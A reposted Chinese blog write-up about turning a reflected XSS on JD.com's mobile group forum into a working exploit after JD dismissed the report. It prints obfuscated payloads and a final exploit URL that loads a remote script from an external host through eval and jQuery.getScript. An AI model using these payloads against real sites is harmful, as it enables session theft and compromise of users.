A-A+

京东驳回的一枚轻易paylod而不易exploit的xss的开发过程

2016年12月16日 10:30 汪洋大海 评论 2 条 阅读 328 views 次

朋友丢给了我一个反射xss让我来尝试getexploit,xss被京东以不能跨站,没有危害的理由忽略了该漏洞,好熟悉的理由。今年中的时候,丢了一个xss到京东,由于长度问题被拒绝了,不过还是解决了,话不多说,我们看一下这一处xss。

弹窗XSS

弹窗XSS

输入alert语句直接被执行了,看一下代码

window.siteId=1;

window.circleid=3;

window.threadId=alert(1);

牛刀小试,既然这么简单,直接输入语句。

eval('window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116)); window.s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,120,115,115,46,99,111,109,47,120,115,115,99,111,100,101); document.body.appendChild(window.s)')

xss截断语句

xss截断语句

也就是说分号会截断语句,那么就是说,我们三句构成的exploit没办法利用了。
(这里可能有人会问,sideId和circleid加在一起不是正好三个么,但是这样的方案明显是不可行的,至于直接注入标签,也是不可行的,因为必须先结束script标签)

锋利的jQuery

想起之前在长度问题上击败长度问题,依靠的就是jQuery的getscript,而细心的你已经可以发现,网页中存在jquery1.9.1,那么就简单了 jQuery.getScript('http://www.xss.com/xsscode')

xss遭遇404

xss遭遇404

居然404了,原来是浏览器把跨站js的URL当成目录了(这里说明一下,浏览器遇到/可能因为伪静态等原因,直接当成目录了。),攻击者当然不可以异想天开的通过劫持数据来攻击,我们只能绕过,弃用这一方案。

更改exploit:jQuery.getScript(String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,120,115,115,46,99,111,109,47,120,115,115,99,111,100,101))

jQuery加载XSS代码未成功

jQuery加载XSS代码未成功

jQuery加载XSS代码未成功2

jQuery加载XSS代码未成功2

粗心的错误,我很纠结,没有道理啊,为什么这样还是不能执行,仔细检查了代码,原来是...致命错误。

jQuery在XSS代码下方致错误

jQuery在XSS代码下方致未加载

那么就简单了,最后的exploit应该是:

http://m.group.jd.com/thread/1/window.onload=function(){jQuery.getScript(String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,120,115,115,46,99,111,109,47,120,115,115,99,111,100,101))}/3.htm

 

本文为转载,文章来源:http://xsseng.com/page/2/   作者:xsseng

标签:

2 条留言  访客:1 条  博主:1 条

  1. aimorc

    老哥,我换了新的域名,2kb.me这个怎么样

    • gdd

      老铁 你这个域名还是不错的说。

给我留言